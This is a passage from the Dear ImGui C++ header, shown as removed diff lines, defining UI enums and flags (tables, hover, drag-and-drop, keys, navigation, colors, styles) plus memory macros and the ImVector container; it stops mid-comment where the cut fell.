ImGui::TableNextRow() -enum ImGuiTableRowFlags_ -{ - ImGuiTableRowFlags_None = 0, - ImGuiTableRowFlags_Headers = 1 << 0 // Identify header row (set default background color + width of its contents accounted different for auto column width) -}; - -// Enum for ImGui::TableSetBgColor() -// Background colors are rendering in 3 layers: -// - Layer 0: draw with RowBg0 color if set, otherwise draw with ColumnBg0 if set. -// - Layer 1: draw with RowBg1 color if set, otherwise draw with ColumnBg1 if set. -// - Layer 2: draw with CellBg color if set. -// The purpose of the two row/columns layers is to let you decide if a background color changes should override or blend with the existing color. -// When using ImGuiTableFlags_RowBg on the table, each row has the RowBg0 color automatically set for odd/even rows. -// If you set the color of RowBg0 target, your color will override the existing RowBg0 color. -// If you set the color of RowBg1 or ColumnBg1 target, your color will blend over the RowBg0 color. -enum ImGuiTableBgTarget_ -{ - ImGuiTableBgTarget_None = 0, - ImGuiTableBgTarget_RowBg0 = 1, // Set row background color 0 (generally used for background, automatically set when ImGuiTableFlags_RowBg is used) - ImGuiTableBgTarget_RowBg1 = 2, // Set row background color 1 (generally used for selection marking) - ImGuiTableBgTarget_CellBg = 3 // Set cell background color (top-most color) -}; - -// Flags for ImGui::IsWindowFocused() -enum ImGuiFocusedFlags_ -{ - ImGuiFocusedFlags_None = 0, - ImGuiFocusedFlags_ChildWindows = 1 << 0, // IsWindowFocused(): Return true if any children of the window is focused - ImGuiFocusedFlags_RootWindow = 1 << 1, // IsWindowFocused(): Test from root window (top most parent of the current hierarchy) - ImGuiFocusedFlags_AnyWindow = 1 << 2, // IsWindowFocused(): Return true if any window is focused. Important: If you are trying to tell how to dispatch your low-level inputs, do NOT use this. Use 'io.WantCaptureMouse' instead! Please read the FAQ! - ImGuiFocusedFlags_RootAndChildWindows = ImGuiFocusedFlags_RootWindow | ImGuiFocusedFlags_ChildWindows -}; - -// Flags for ImGui::IsItemHovered(), ImGui::IsWindowHovered() -// Note: if you are trying to check whether your mouse should be dispatched to Dear ImGui or to your app, you should use 'io.WantCaptureMouse' instead! Please read the FAQ! -// Note: windows with the ImGuiWindowFlags_NoInputs flag are ignored by IsWindowHovered() calls. -enum ImGuiHoveredFlags_ -{ - ImGuiHoveredFlags_None = 0, // Return true if directly over the item/window, not obstructed by another window, not obstructed by an active popup or modal blocking inputs under them. - ImGuiHoveredFlags_ChildWindows = 1 << 0, // IsWindowHovered() only: Return true if any children of the window is hovered - ImGuiHoveredFlags_RootWindow = 1 << 1, // IsWindowHovered() only: Test from root window (top most parent of the current hierarchy) - ImGuiHoveredFlags_AnyWindow = 1 << 2, // IsWindowHovered() only: Return true if any window is hovered - ImGuiHoveredFlags_AllowWhenBlockedByPopup = 1 << 3, // Return true even if a popup window is normally blocking access to this item/window - //ImGuiHoveredFlags_AllowWhenBlockedByModal = 1 << 4, // Return true even if a modal popup window is normally blocking access to this item/window. FIXME-TODO: Unavailable yet. - ImGuiHoveredFlags_AllowWhenBlockedByActiveItem = 1 << 5, // Return true even if an active item is blocking access to this item/window. Useful for Drag and Drop patterns. - ImGuiHoveredFlags_AllowWhenOverlapped = 1 << 6, // Return true even if the position is obstructed or overlapped by another window - ImGuiHoveredFlags_AllowWhenDisabled = 1 << 7, // Return true even if the item is disabled - ImGuiHoveredFlags_RectOnly = ImGuiHoveredFlags_AllowWhenBlockedByPopup | ImGuiHoveredFlags_AllowWhenBlockedByActiveItem | ImGuiHoveredFlags_AllowWhenOverlapped, - ImGuiHoveredFlags_RootAndChildWindows = ImGuiHoveredFlags_RootWindow | ImGuiHoveredFlags_ChildWindows -}; - -// Flags for ImGui::BeginDragDropSource(), ImGui::AcceptDragDropPayload() -enum ImGuiDragDropFlags_ -{ - ImGuiDragDropFlags_None = 0, - // BeginDragDropSource() flags - ImGuiDragDropFlags_SourceNoPreviewTooltip = 1 << 0, // By default, a successful call to BeginDragDropSource opens a tooltip so you can display a preview or description of the source contents. This flag disable this behavior. - ImGuiDragDropFlags_SourceNoDisableHover = 1 << 1, // By default, when dragging we clear data so that IsItemHovered() will return false, to avoid subsequent user code submitting tooltips. This flag disable this behavior so you can still call IsItemHovered() on the source item. - ImGuiDragDropFlags_SourceNoHoldToOpenOthers = 1 << 2, // Disable the behavior that allows to open tree nodes and collapsing header by holding over them while dragging a source item. - ImGuiDragDropFlags_SourceAllowNullID = 1 << 3, // Allow items such as Text(), Image() that have no unique identifier to be used as drag source, by manufacturing a temporary identifier based on their window-relative position. This is extremely unusual within the dear imgui ecosystem and so we made it explicit. - ImGuiDragDropFlags_SourceExtern = 1 << 4, // External source (from outside of dear imgui), won't attempt to read current item/window info. Will always return true. Only one Extern source can be active simultaneously. - ImGuiDragDropFlags_SourceAutoExpirePayload = 1 << 5, // Automatically expire the payload if the source cease to be submitted (otherwise payloads are persisting while being dragged) - // AcceptDragDropPayload() flags - ImGuiDragDropFlags_AcceptBeforeDelivery = 1 << 10, // AcceptDragDropPayload() will returns true even before the mouse button is released. You can then call IsDelivery() to test if the payload needs to be delivered. - ImGuiDragDropFlags_AcceptNoDrawDefaultRect = 1 << 11, // Do not draw the default highlight rectangle when hovering over target. - ImGuiDragDropFlags_AcceptNoPreviewTooltip = 1 << 12, // Request hiding the BeginDragDropSource tooltip from the BeginDragDropTarget site. - ImGuiDragDropFlags_AcceptPeekOnly = ImGuiDragDropFlags_AcceptBeforeDelivery | ImGuiDragDropFlags_AcceptNoDrawDefaultRect // For peeking ahead and inspecting the payload before delivery. -}; - -// Standard Drag and Drop payload types. You can define you own payload types using short strings. Types starting with '_' are defined by Dear ImGui. -#define IMGUI_PAYLOAD_TYPE_COLOR_3F "_COL3F" // float[3]: Standard type for colors, without alpha. User code may use this type. -#define IMGUI_PAYLOAD_TYPE_COLOR_4F "_COL4F" // float[4]: Standard type for colors. User code may use this type. - -// A primary data type -enum ImGuiDataType_ -{ - ImGuiDataType_S8, // signed char / char (with sensible compilers) - ImGuiDataType_U8, // unsigned char - ImGuiDataType_S16, // short - ImGuiDataType_U16, // unsigned short - ImGuiDataType_S32, // int - ImGuiDataType_U32, // unsigned int - ImGuiDataType_S64, // long long / __int64 - ImGuiDataType_U64, // unsigned long long / unsigned __int64 - ImGuiDataType_Float, // float - ImGuiDataType_Double, // double - ImGuiDataType_COUNT -}; - -// A cardinal direction -enum ImGuiDir_ -{ - ImGuiDir_None = -1, - ImGuiDir_Left = 0, - ImGuiDir_Right = 1, - ImGuiDir_Up = 2, - ImGuiDir_Down = 3, - ImGuiDir_COUNT -}; - -// A sorting direction -enum ImGuiSortDirection_ -{ - ImGuiSortDirection_None = 0, - ImGuiSortDirection_Ascending = 1, // Ascending = 0->9, A->Z etc. - ImGuiSortDirection_Descending = 2 // Descending = 9->0, Z->A etc. -}; - -// User fill ImGuiIO.KeyMap[] array with indices into the ImGuiIO.KeysDown[512] array -enum ImGuiKey_ -{ - ImGuiKey_Tab, - ImGuiKey_LeftArrow, - ImGuiKey_RightArrow, - ImGuiKey_UpArrow, - ImGuiKey_DownArrow, - ImGuiKey_PageUp, - ImGuiKey_PageDown, - ImGuiKey_Home, - ImGuiKey_End, - ImGuiKey_Insert, - ImGuiKey_Delete, - ImGuiKey_Backspace, - ImGuiKey_Space, - ImGuiKey_Enter, - ImGuiKey_Escape, - ImGuiKey_KeyPadEnter, - ImGuiKey_A, // for text edit CTRL+A: select all - ImGuiKey_C, // for text edit CTRL+C: copy - ImGuiKey_V, // for text edit CTRL+V: paste - ImGuiKey_X, // for text edit CTRL+X: cut - ImGuiKey_Y, // for text edit CTRL+Y: redo - ImGuiKey_Z, // for text edit CTRL+Z: undo - ImGuiKey_COUNT -}; - -// To test io.KeyMods (which is a combination of individual fields io.KeyCtrl, io.KeyShift, io.KeyAlt set by user/backend) -enum ImGuiKeyModFlags_ -{ - ImGuiKeyModFlags_None = 0, - ImGuiKeyModFlags_Ctrl = 1 << 0, - ImGuiKeyModFlags_Shift = 1 << 1, - ImGuiKeyModFlags_Alt = 1 << 2, - ImGuiKeyModFlags_Super = 1 << 3 -}; - -// Gamepad/Keyboard navigation -// Keyboard: Set io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard to enable. NewFrame() will automatically fill io.NavInputs[] based on your io.KeysDown[] + io.KeyMap[] arrays. -// Gamepad: Set io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad to enable. Backend: set ImGuiBackendFlags_HasGamepad and fill the io.NavInputs[] fields before calling NewFrame(). Note that io.NavInputs[] is cleared by EndFrame(). -// Read instructions in imgui.cpp for more details. Download PNG/PSD at http://dearimgui.org/controls_sheets. -enum ImGuiNavInput_ -{ - // Gamepad Mapping - ImGuiNavInput_Activate, // activate / open / toggle / tweak value // e.g. Cross (PS4), A (Xbox), A (Switch), Space (Keyboard) - ImGuiNavInput_Cancel, // cancel / close / exit // e.g. Circle (PS4), B (Xbox), B (Switch), Escape (Keyboard) - ImGuiNavInput_Input, // text input / on-screen keyboard // e.g. Triang.(PS4), Y (Xbox), X (Switch), Return (Keyboard) - ImGuiNavInput_Menu, // tap: toggle menu / hold: focus, move, resize // e.g. Square (PS4), X (Xbox), Y (Switch), Alt (Keyboard) - ImGuiNavInput_DpadLeft, // move / tweak / resize window (w/ PadMenu) // e.g. D-pad Left/Right/Up/Down (Gamepads), Arrow keys (Keyboard) - ImGuiNavInput_DpadRight, // - ImGuiNavInput_DpadUp, // - ImGuiNavInput_DpadDown, // - ImGuiNavInput_LStickLeft, // scroll / move window (w/ PadMenu) // e.g. Left Analog Stick Left/Right/Up/Down - ImGuiNavInput_LStickRight, // - ImGuiNavInput_LStickUp, // - ImGuiNavInput_LStickDown, // - ImGuiNavInput_FocusPrev, // next window (w/ PadMenu) // e.g. L1 or L2 (PS4), LB or LT (Xbox), L or ZL (Switch) - ImGuiNavInput_FocusNext, // prev window (w/ PadMenu) // e.g. R1 or R2 (PS4), RB or RT (Xbox), R or ZL (Switch) - ImGuiNavInput_TweakSlow, // slower tweaks // e.g. L1 or L2 (PS4), LB or LT (Xbox), L or ZL (Switch) - ImGuiNavInput_TweakFast, // faster tweaks // e.g. R1 or R2 (PS4), RB or RT (Xbox), R or ZL (Switch) - - // [Internal] Don't use directly! This is used internally to differentiate keyboard from gamepad inputs for behaviors that require to differentiate them. - // Keyboard behavior that have no corresponding gamepad mapping (e.g. CTRL+TAB) will be directly reading from io.KeysDown[] instead of io.NavInputs[]. - ImGuiNavInput_KeyMenu_, // toggle menu // = io.KeyAlt - ImGuiNavInput_KeyLeft_, // move left // = Arrow keys - ImGuiNavInput_KeyRight_, // move right - ImGuiNavInput_KeyUp_, // move up - ImGuiNavInput_KeyDown_, // move down - ImGuiNavInput_COUNT, - ImGuiNavInput_InternalStart_ = ImGuiNavInput_KeyMenu_ -}; - -// Configuration flags stored in io.ConfigFlags. Set by user/application. -enum ImGuiConfigFlags_ -{ - ImGuiConfigFlags_None = 0, - ImGuiConfigFlags_NavEnableKeyboard = 1 << 0, // Master keyboard navigation enable flag. NewFrame() will automatically fill io.NavInputs[] based on io.KeysDown[]. - ImGuiConfigFlags_NavEnableGamepad = 1 << 1, // Master gamepad navigation enable flag. This is mostly to instruct your imgui backend to fill io.NavInputs[]. Backend also needs to set ImGuiBackendFlags_HasGamepad. - ImGuiConfigFlags_NavEnableSetMousePos = 1 << 2, // Instruct navigation to move the mouse cursor. May be useful on TV/console systems where moving a virtual mouse is awkward. Will update io.MousePos and set io.WantSetMousePos=true. If enabled you MUST honor io.WantSetMousePos requests in your backend, otherwise ImGui will react as if the mouse is jumping around back and forth. - ImGuiConfigFlags_NavNoCaptureKeyboard = 1 << 3, // Instruct navigation to not set the io.WantCaptureKeyboard flag when io.NavActive is set. - ImGuiConfigFlags_NoMouse = 1 << 4, // Instruct imgui to clear mouse position/buttons in NewFrame(). This allows ignoring the mouse information set by the backend. - ImGuiConfigFlags_NoMouseCursorChange = 1 << 5, // Instruct backend to not alter mouse cursor shape and visibility. Use if the backend cursor changes are interfering with yours and you don't want to use SetMouseCursor() to change mouse cursor. You may want to honor requests from imgui by reading GetMouseCursor() yourself instead. - - // User storage (to allow your backend/engine to communicate to code that may be shared between multiple projects. Those flags are not used by core Dear ImGui) - ImGuiConfigFlags_IsSRGB = 1 << 20, // Application is SRGB-aware. - ImGuiConfigFlags_IsTouchScreen = 1 << 21 // Application is using a touch screen instead of a mouse. -}; - -// Backend capabilities flags stored in io.BackendFlags. Set by imgui_impl_xxx or custom backend. -enum ImGuiBackendFlags_ -{ - ImGuiBackendFlags_None = 0, - ImGuiBackendFlags_HasGamepad = 1 << 0, // Backend Platform supports gamepad and currently has one connected. - ImGuiBackendFlags_HasMouseCursors = 1 << 1, // Backend Platform supports honoring GetMouseCursor() value to change the OS cursor shape. - ImGuiBackendFlags_HasSetMousePos = 1 << 2, // Backend Platform supports io.WantSetMousePos requests to reposition the OS mouse position (only used if ImGuiConfigFlags_NavEnableSetMousePos is set). - ImGuiBackendFlags_RendererHasVtxOffset = 1 << 3 // Backend Renderer supports ImDrawCmd::VtxOffset. This enables output of large meshes (64K+ vertices) while still using 16-bit indices. -}; - -// Enumeration for PushStyleColor() / PopStyleColor() -enum ImGuiCol_ -{ - ImGuiCol_Text, - ImGuiCol_TextDisabled, - ImGuiCol_WindowBg, // Background of normal windows - ImGuiCol_ChildBg, // Background of child windows - ImGuiCol_PopupBg, // Background of popups, menus, tooltips windows - ImGuiCol_Border, - ImGuiCol_BorderShadow, - ImGuiCol_FrameBg, // Background of checkbox, radio button, plot, slider, text input - ImGuiCol_FrameBgHovered, - ImGuiCol_FrameBgActive, - ImGuiCol_TitleBg, - ImGuiCol_TitleBgActive, - ImGuiCol_TitleBgCollapsed, - ImGuiCol_MenuBarBg, - ImGuiCol_ScrollbarBg, - ImGuiCol_ScrollbarGrab, - ImGuiCol_ScrollbarGrabHovered, - ImGuiCol_ScrollbarGrabActive, - ImGuiCol_CheckMark, - ImGuiCol_SliderGrab, - ImGuiCol_SliderGrabActive, - ImGuiCol_Button, - ImGuiCol_ButtonHovered, - ImGuiCol_ButtonActive, - ImGuiCol_Header, // Header* colors are used for CollapsingHeader, TreeNode, Selectable, MenuItem - ImGuiCol_HeaderHovered, - ImGuiCol_HeaderActive, - ImGuiCol_Separator, - ImGuiCol_SeparatorHovered, - ImGuiCol_SeparatorActive, - ImGuiCol_ResizeGrip, - ImGuiCol_ResizeGripHovered, - ImGuiCol_ResizeGripActive, - ImGuiCol_Tab, - ImGuiCol_TabHovered, - ImGuiCol_TabActive, - ImGuiCol_TabUnfocused, - ImGuiCol_TabUnfocusedActive, - ImGuiCol_PlotLines, - ImGuiCol_PlotLinesHovered, - ImGuiCol_PlotHistogram, - ImGuiCol_PlotHistogramHovered, - ImGuiCol_TableHeaderBg, // Table header background - ImGuiCol_TableBorderStrong, // Table outer and header borders (prefer using Alpha=1.0 here) - ImGuiCol_TableBorderLight, // Table inner borders (prefer using Alpha=1.0 here) - ImGuiCol_TableRowBg, // Table row background (even rows) - ImGuiCol_TableRowBgAlt, // Table row background (odd rows) - ImGuiCol_TextSelectedBg, - ImGuiCol_DragDropTarget, - ImGuiCol_NavHighlight, // Gamepad/keyboard: current highlighted item - ImGuiCol_NavWindowingHighlight, // Highlight window when using CTRL+TAB - ImGuiCol_NavWindowingDimBg, // Darken/colorize entire screen behind the CTRL+TAB window list, when active - ImGuiCol_ModalWindowDimBg, // Darken/colorize entire screen behind a modal window, when one is active - ImGuiCol_COUNT -}; - -// Enumeration for PushStyleVar() / PopStyleVar() to temporarily modify the ImGuiStyle structure. -// - The enum only refers to fields of ImGuiStyle which makes sense to be pushed/popped inside UI code. -// During initialization or between frames, feel free to just poke into ImGuiStyle directly. -// - Tip: Use your programming IDE navigation facilities on the names in the _second column_ below to find the actual members and their description. -// In Visual Studio IDE: CTRL+comma ("Edit.NavigateTo") can follow symbols in comments, whereas CTRL+F12 ("Edit.GoToImplementation") cannot. -// With Visual Assist installed: ALT+G ("VAssistX.GoToImplementation") can also follow symbols in comments. -// - When changing this enum, you need to update the associated internal table GStyleVarInfo[] accordingly. This is where we link enum values to members offset/type. -enum ImGuiStyleVar_ -{ - // Enum name --------------------- // Member in ImGuiStyle structure (see ImGuiStyle for descriptions) - ImGuiStyleVar_Alpha, // float Alpha - ImGuiStyleVar_WindowPadding, // ImVec2 WindowPadding - ImGuiStyleVar_WindowRounding, // float WindowRounding - ImGuiStyleVar_WindowBorderSize, // float WindowBorderSize - ImGuiStyleVar_WindowMinSize, // ImVec2 WindowMinSize - ImGuiStyleVar_WindowTitleAlign, // ImVec2 WindowTitleAlign - ImGuiStyleVar_ChildRounding, // float ChildRounding - ImGuiStyleVar_ChildBorderSize, // float ChildBorderSize - ImGuiStyleVar_PopupRounding, // float PopupRounding - ImGuiStyleVar_PopupBorderSize, // float PopupBorderSize - ImGuiStyleVar_FramePadding, // ImVec2 FramePadding - ImGuiStyleVar_FrameRounding, // float FrameRounding - ImGuiStyleVar_FrameBorderSize, // float FrameBorderSize - ImGuiStyleVar_ItemSpacing, // ImVec2 ItemSpacing - ImGuiStyleVar_ItemInnerSpacing, // ImVec2 ItemInnerSpacing - ImGuiStyleVar_IndentSpacing, // float IndentSpacing - ImGuiStyleVar_CellPadding, // ImVec2 CellPadding - ImGuiStyleVar_ScrollbarSize, // float ScrollbarSize - ImGuiStyleVar_ScrollbarRounding, // float ScrollbarRounding - ImGuiStyleVar_GrabMinSize, // float GrabMinSize - ImGuiStyleVar_GrabRounding, // float GrabRounding - ImGuiStyleVar_TabRounding, // float TabRounding - ImGuiStyleVar_ButtonTextAlign, // ImVec2 ButtonTextAlign - ImGuiStyleVar_SelectableTextAlign, // ImVec2 SelectableTextAlign - ImGuiStyleVar_COUNT -}; - -// Flags for InvisibleButton() [extended in imgui_internal.h] -enum ImGuiButtonFlags_ -{ - ImGuiButtonFlags_None = 0, - ImGuiButtonFlags_MouseButtonLeft = 1 << 0, // React on left mouse button (default) - ImGuiButtonFlags_MouseButtonRight = 1 << 1, // React on right mouse button - ImGuiButtonFlags_MouseButtonMiddle = 1 << 2, // React on center mouse button - - // [Internal] - ImGuiButtonFlags_MouseButtonMask_ = ImGuiButtonFlags_MouseButtonLeft | ImGuiButtonFlags_MouseButtonRight | ImGuiButtonFlags_MouseButtonMiddle, - ImGuiButtonFlags_MouseButtonDefault_ = ImGuiButtonFlags_MouseButtonLeft -}; - -// Flags for ColorEdit3() / ColorEdit4() / ColorPicker3() / ColorPicker4() / ColorButton() -enum ImGuiColorEditFlags_ -{ - ImGuiColorEditFlags_None = 0, - ImGuiColorEditFlags_NoAlpha = 1 << 1, // // ColorEdit, ColorPicker, ColorButton: ignore Alpha component (will only read 3 components from the input pointer). - ImGuiColorEditFlags_NoPicker = 1 << 2, // // ColorEdit: disable picker when clicking on color square. - ImGuiColorEditFlags_NoOptions = 1 << 3, // // ColorEdit: disable toggling options menu when right-clicking on inputs/small preview. - ImGuiColorEditFlags_NoSmallPreview = 1 << 4, // // ColorEdit, ColorPicker: disable color square preview next to the inputs. (e.g. to show only the inputs) - ImGuiColorEditFlags_NoInputs = 1 << 5, // // ColorEdit, ColorPicker: disable inputs sliders/text widgets (e.g. to show only the small preview color square). - ImGuiColorEditFlags_NoTooltip = 1 << 6, // // ColorEdit, ColorPicker, ColorButton: disable tooltip when hovering the preview. - ImGuiColorEditFlags_NoLabel = 1 << 7, // // ColorEdit, ColorPicker: disable display of inline text label (the label is still forwarded to the tooltip and picker). - ImGuiColorEditFlags_NoSidePreview = 1 << 8, // // ColorPicker: disable bigger color preview on right side of the picker, use small color square preview instead. - ImGuiColorEditFlags_NoDragDrop = 1 << 9, // // ColorEdit: disable drag and drop target. ColorButton: disable drag and drop source. - ImGuiColorEditFlags_NoBorder = 1 << 10, // // ColorButton: disable border (which is enforced by default) - - // User Options (right-click on widget to change some of them). - ImGuiColorEditFlags_AlphaBar = 1 << 16, // // ColorEdit, ColorPicker: show vertical alpha bar/gradient in picker. - ImGuiColorEditFlags_AlphaPreview = 1 << 17, // // ColorEdit, ColorPicker, ColorButton: display preview as a transparent color over a checkerboard, instead of opaque. - ImGuiColorEditFlags_AlphaPreviewHalf = 1 << 18, // // ColorEdit, ColorPicker, ColorButton: display half opaque / half checkerboard, instead of opaque. - ImGuiColorEditFlags_HDR = 1 << 19, // // (WIP) ColorEdit: Currently only disable 0.0f..1.0f limits in RGBA edition (note: you probably want to use ImGuiColorEditFlags_Float flag as well). - ImGuiColorEditFlags_DisplayRGB = 1 << 20, // [Display] // ColorEdit: override _display_ type among RGB/HSV/Hex. ColorPicker: select any combination using one or more of RGB/HSV/Hex. - ImGuiColorEditFlags_DisplayHSV = 1 << 21, // [Display] // " - ImGuiColorEditFlags_DisplayHex = 1 << 22, // [Display] // " - ImGuiColorEditFlags_Uint8 = 1 << 23, // [DataType] // ColorEdit, ColorPicker, ColorButton: _display_ values formatted as 0..255. - ImGuiColorEditFlags_Float = 1 << 24, // [DataType] // ColorEdit, ColorPicker, ColorButton: _display_ values formatted as 0.0f..1.0f floats instead of 0..255 integers. No round-trip of value via integers. - ImGuiColorEditFlags_PickerHueBar = 1 << 25, // [Picker] // ColorPicker: bar for Hue, rectangle for Sat/Value. - ImGuiColorEditFlags_PickerHueWheel = 1 << 26, // [Picker] // ColorPicker: wheel for Hue, triangle for Sat/Value. - ImGuiColorEditFlags_InputRGB = 1 << 27, // [Input] // ColorEdit, ColorPicker: input and output data in RGB format. - ImGuiColorEditFlags_InputHSV = 1 << 28, // [Input] // ColorEdit, ColorPicker: input and output data in HSV format. - - // Defaults Options. You can set application defaults using SetColorEditOptions(). The intent is that you probably don't want to - // override them in most of your calls. Let the user choose via the option menu and/or call SetColorEditOptions() once during startup. - ImGuiColorEditFlags__OptionsDefault = ImGuiColorEditFlags_Uint8 | ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_InputRGB | ImGuiColorEditFlags_PickerHueBar, - - // [Internal] Masks - ImGuiColorEditFlags__DisplayMask = ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_DisplayHex, - ImGuiColorEditFlags__DataTypeMask = ImGuiColorEditFlags_Uint8 | ImGuiColorEditFlags_Float, - ImGuiColorEditFlags__PickerMask = ImGuiColorEditFlags_PickerHueWheel | ImGuiColorEditFlags_PickerHueBar, - ImGuiColorEditFlags__InputMask = ImGuiColorEditFlags_InputRGB | ImGuiColorEditFlags_InputHSV - - // Obsolete names (will be removed) -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - , ImGuiColorEditFlags_RGB = ImGuiColorEditFlags_DisplayRGB, ImGuiColorEditFlags_HSV = ImGuiColorEditFlags_DisplayHSV, ImGuiColorEditFlags_HEX = ImGuiColorEditFlags_DisplayHex // [renamed in 1.69] -#endif -}; - -// Flags for DragFloat(), DragInt(), SliderFloat(), SliderInt() etc. -// We use the same sets of flags for DragXXX() and SliderXXX() functions as the features are the same and it makes it easier to swap them. -enum ImGuiSliderFlags_ -{ - ImGuiSliderFlags_None = 0, - ImGuiSliderFlags_AlwaysClamp = 1 << 4, // Clamp value to min/max bounds when input manually with CTRL+Click. By default CTRL+Click allows going out of bounds. - ImGuiSliderFlags_Logarithmic = 1 << 5, // Make the widget logarithmic (linear otherwise). Consider using ImGuiSliderFlags_NoRoundToFormat with this if using a format-string with small amount of digits. - ImGuiSliderFlags_NoRoundToFormat = 1 << 6, // Disable rounding underlying value to match precision of the display format string (e.g. %.3f values are rounded to those 3 digits) - ImGuiSliderFlags_NoInput = 1 << 7, // Disable CTRL+Click or Enter key allowing to input text directly into the widget - ImGuiSliderFlags_InvalidMask_ = 0x7000000F // [Internal] We treat using those bits as being potentially a 'float power' argument from the previous API that has got miscast to this enum, and will trigger an assert if needed. - - // Obsolete names (will be removed) -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - , ImGuiSliderFlags_ClampOnInput = ImGuiSliderFlags_AlwaysClamp // [renamed in 1.79] -#endif -}; - -// Identify a mouse button. -// Those values are guaranteed to be stable and we frequently use 0/1 directly. Named enums provided for convenience. -enum ImGuiMouseButton_ -{ - ImGuiMouseButton_Left = 0, - ImGuiMouseButton_Right = 1, - ImGuiMouseButton_Middle = 2, - ImGuiMouseButton_COUNT = 5 -}; - -// Enumeration for GetMouseCursor() -// User code may request backend to display given cursor by calling SetMouseCursor(), which is why we have some cursors that are marked unused here -enum ImGuiMouseCursor_ -{ - ImGuiMouseCursor_None = -1, - ImGuiMouseCursor_Arrow = 0, - ImGuiMouseCursor_TextInput, // When hovering over InputText, etc. - ImGuiMouseCursor_ResizeAll, // (Unused by Dear ImGui functions) - ImGuiMouseCursor_ResizeNS, // When hovering over an horizontal border - ImGuiMouseCursor_ResizeEW, // When hovering over a vertical border or a column - ImGuiMouseCursor_ResizeNESW, // When hovering over the bottom-left corner of a window - ImGuiMouseCursor_ResizeNWSE, // When hovering over the bottom-right corner of a window - ImGuiMouseCursor_Hand, // (Unused by Dear ImGui functions. Use for e.g. hyperlinks) - ImGuiMouseCursor_NotAllowed, // When hovering something with disallowed interaction. Usually a crossed circle. - ImGuiMouseCursor_COUNT -}; - -// Enumeration for ImGui::SetWindow***(), SetNextWindow***(), SetNextItem***() functions -// Represent a condition. -// Important: Treat as a regular enum! Do NOT combine multiple values using binary operators! All the functions above treat 0 as a shortcut to ImGuiCond_Always. -enum ImGuiCond_ -{ - ImGuiCond_None = 0, // No condition (always set the variable), same as _Always - ImGuiCond_Always = 1 << 0, // No condition (always set the variable) - ImGuiCond_Once = 1 << 1, // Set the variable once per runtime session (only the first call will succeed) - ImGuiCond_FirstUseEver = 1 << 2, // Set the variable if the object/window has no persistently saved data (no entry in .ini file) - ImGuiCond_Appearing = 1 << 3 // Set the variable if the object/window is appearing after being hidden/inactive (or the first time) -}; - -//----------------------------------------------------------------------------- -// [SECTION] Helpers: Memory allocations macros, ImVector<> -//----------------------------------------------------------------------------- - -//----------------------------------------------------------------------------- -// IM_MALLOC(), IM_FREE(), IM_NEW(), IM_PLACEMENT_NEW(), IM_DELETE() -// We call C++ constructor on own allocated memory via the placement "new(ptr) Type()" syntax. -// Defining a custom placement new() with a custom parameter allows us to bypass including which on some platforms complains when user has disabled exceptions. -//----------------------------------------------------------------------------- - -struct ImNewWrapper {}; -inline void* operator new(size_t, ImNewWrapper, void* ptr) { return ptr; } -inline void operator delete(void*, ImNewWrapper, void*) {} // This is only required so we can use the symmetrical new() -#define IM_ALLOC(_SIZE) ImGui::MemAlloc(_SIZE) -#define IM_FREE(_PTR) ImGui::MemFree(_PTR) -#define IM_PLACEMENT_NEW(_PTR) new(ImNewWrapper(), _PTR) -#define IM_NEW(_TYPE) new(ImNewWrapper(), ImGui::MemAlloc(sizeof(_TYPE))) _TYPE -template void IM_DELETE(T* p) { if (p) { p->~T(); ImGui::MemFree(p); } } - -//----------------------------------------------------------------------------- -// ImVector<> -// Lightweight std::vector<>-like class to avoid dragging dependencies (also, some implementations of STL with debug enabled are absurdly slow, we bypass it so our code runs fast in debug). -//----------------------------------------------------------------------------- -// - You generally do NOT need to care or use this ever. But we need to make it available in imgui.h because some of our public structures are relying on it. -// - We use std-like naming convention here, which is a little unusual for this codebase. -// - Important: clear() frees memory, resize(0) keep the allocated buffer. We use resize(0) a lot to intentionally recycle allocated buffers across frames and amortize our costs. -// - Important: our implementation does NOT call C++ constructors/destructors, we treat everything as raw data! This is intentional but be extra mindful of that, -// Do NOT use this class as a std::vector replacement in your own code! Many of the structures used by dear imgui can be safely initialized by a zero-memset. -//----------------------------------------------------------------------------- - -template -struct ImVector -{ - int Size; - int Capacity; - T* Data; - - // Provide standard typedefs but we don't use them ourselves. - typedef T value_type; - typedef value_type* iterator; - typedef const value_type* const_iterator; - - // Constructors, destructor - inline ImVector() { Size = Capacity = 0; Data = NULL; } - inline ImVector(const ImVector& src) { Size = Capacity = 0; Data = NULL; operator=(src); } - inline ImVector& operator=(const ImVector& src) { clear(); resize(src.Size); memcpy(Data, src.Data, (size_t)Size * sizeof(T)); return *this; } - inline ~ImVector() { if (Data) IM_FREE(Data); } - - inline bool empty() const { return Size == 0; } - inline int size() const { return Size; } - inline int size_in_bytes() const { return Size * (int)sizeof(T); } - inline int max_size() const { return 0x7FFFFFFF / (int)sizeof(T); } - inline int capacity() const { return Capacity; } - inline T& operator[](int i) { IM_ASSERT(i >= 0 && i < Size); return Data[i]; } - inline const T& operator[](int i) const { IM_ASSERT(i >= 0 && i < Size); return Data[i]; } - - inline void clear() { if (Data) { Size = Capacity = 0; IM_FREE(Data); Data = NULL; } } - inline T* begin() { return Data; } - inline const T* begin() const { return Data; } - inline T* end() { return Data + Size; } - inline const T* end() const { return Data + Size; } - inline T& front() { IM_ASSERT(Size > 0); return Data[0]; } - inline const T& front() const { IM_ASSERT(Size > 0); return Data[0]; } - inline T& back() { IM_ASSERT(Size > 0); return Data[Size - 1]; } - inline const T& back() const { IM_ASSERT(Size > 0); return Data[Size - 1]; } - inline void swap(ImVector& rhs) { int rhs_size = rhs.Size; rhs.Size = Size; Size = rhs_size; int rhs_cap = rhs.Capacity; rhs.Capacity = Capacity; Capacity = rhs_cap; T* rhs_data = rhs.Data; rhs.Data = Data; Data = rhs_data; } - - inline int _grow_capacity(int sz) const { int new_capacity = Capacity ? (Capacity + Capacity / 2) : 8; return new_capacity > sz ? new_capacity : sz; } - inline void resize(int new_size) { if (new_size > Capacity) reserve(_grow_capacity(new_size)); Size = new_size; } - inline void resize(int new_size, const T& v) { if (new_size > Capacity) reserve(_grow_capacity(new_size)); if (new_size > Size) for (int n = Size; n < new_size; n++) memcpy(&Data[n], &v, sizeof(v)); Size = new_size; } - inline void shrink(int new_size) { IM_ASSERT(new_size <= Size); Size = new_size; } // Resize a vector to a smaller 